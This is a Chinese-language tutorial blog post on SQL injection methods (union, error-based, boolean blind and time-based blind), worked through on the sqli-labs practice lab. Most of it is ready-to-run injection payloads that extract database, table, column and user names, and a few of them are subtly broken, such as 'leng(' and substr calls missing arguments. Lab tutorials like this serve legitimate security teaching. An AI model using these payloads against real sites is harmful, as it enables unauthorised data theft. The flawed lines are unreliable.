联合查询和基于错误信息注入介绍少一点,主要讲解布尔盲注和时间盲注。
所有举例来自sqli-labs靶场
文章目录
联合查询
使用联合查询,首先我们要先通过order by得到字段数。因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。
用法和上一篇一样,改变union select 1,2,database()中union后面的内容就可以得到我们要的信息
sqli-labs第一关:
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
#Group_concat会将(所有table_name)作为一个整体输出
因为通过修改注入命令,database(),version()等可以直接得到信息就不多举例了,可以自己多试试
基于错误信息注入
当页面有回显时,我们可以根据报错的消息猜解sql的查询语句,从而达到注入的目的
第三关:
http://127.0.0.1/sqli-labs-master/Less-3/?id=1'
加一个 ’ 时我们可以看到报错中有’‘1’'),
正常情况下sql的查询语句为
$sql="SELECT * FORM users WHERE id='$id' LIMIT 0,1";
但是这里多了一个括号,我们可以猜其为
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
那么我们在注入时就要闭合)我们要查询语句需要为:
$sql="SELECT * FROM users WHERE id=('1') union select 1,2,3--+') LIMIT 0,1";
于是我们注入为:
/?id=-1') union select 1,2,3--+
当猜解了正确的sql语句后就可以利用联合查询来获取表名,内容等信息了
同样有的sql语句中会用 “ ” ,因此有报错时,要多利用报错信息。
布尔盲注
存在sql注入但是页面不会直接回显任何信息,只会返回正确和错误
布尔盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
特点:
1. 存在注入点。
2. 该页面或请求不会回显注入语句执行结果。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息。
sqli-labs第五关:
对于初学者,可以先根据答案来尝试,掌握方法后再去实践。
建议学的时候对着答案来尝试,一个一个猜,刚开始会怀疑自己是不是方法有问题
我们首先在mysql中查看我们要爆破的数据:
1.首先通过length函数判断库名长度,8
/?Id=1’ and length((select database()))>7 --+
/?Id=1’ and length((select database()))>9 --+
或
/?Id=1’ and length((select database()))=8 --+
length函数可以获取长度,后面可以用> < =来判断
7时页面还是正常的,当>9时页面就不正确,所以得到数据库长度为8
2.通过substr函数获得数据库名,security
substr(参数a,参数b,参数c)截取字符串中的一个字符
a为字符串,b为起始位置,c为截取长度,substr(“security”,1,1)=’s’
/?Id=1’ and substr((select database()),1,1)=’s’--+
/?Id=1’ and substr((select database()),2,1)=’e’--+
.......
布尔盲注就是不断的尝试,学会了原理可以自己写脚本来完成,或者使用sqlmap
3.通过length和substr重复上面操作得到表名emails,referers,uagents,users
/?Id=1’ and length((select group_concat(table_name) from information_schema.tables where schema_name=’security’))>1--+得到长度
/?id=1’ and substr((select group_concat(table_name) from information_schema.tables where schema_name=’security’))=’e’--+得到表单名
4.再得到字段名 id,username,password
/?id=1’ and length((select group_concat(column_name) from information_schema.columns where table_name=’users’))>1--+
......
5.最后得到内容
/?Id=1’ and substr((select group_concat(username) from users))=’d’--+
时间盲注
布尔盲注返回值只有ture或false,而时间盲注只有一种返回。 但是页面返回的时间会有区别。
特点:
1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果
3. 不会显示报错信息
4. 符合盲注的特征,但不属于布尔型盲注
时间盲注的核心语句:
if(查询语句,sleep(5),1)
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n) 将程序挂起一段时间 n单位为秒
sqli-labs第九关
关于语句执行的时间我们可以在控制台的网络中查看。
首先我们就以数据库security长度为例:
1.我们用一个正确的一个错误查看相应时间:
/?id=1' and if(length(database())=8,sleep(5),1)--+
/?id=1' and if(length(database())=7,sleep(5),1)--+
这里我们看到为8的时候,为正确的,执行了sleep,响应时间明显的变长了。当为7时,语句错误,直接结束了,响应时间就很短。
到这里你应该可以想到接下来和布尔盲注差不多了
1.首先得到数据库长度
?id=1' and if(leng(database())=8,sleep(5),1)--+
这个8是不断尝试得到的,不是固定的。
2.通过substr猜解数据库名字
/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
/?id=1' and if(substr(database(),2,1)='e',sleep(5),1)--+
.........
3.猜解表名
/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())),sleep(5),1)--+
得到表长度
然后通过substr得到表名
4.猜解字段名
5.猜解内容
最后两步和上面操作类似。
结语
学完原理,你会发现布尔盲注和时间盲注想要一个一个去试,太费时间了,因此可以自己尝试编写脚本去完成,同样关于sql注入还有一个比较好用的工具大家可以去了解一下,sqlmap。
sqlmap的简单用法和思路可以看看我的另一篇文章:
sqlmap的使用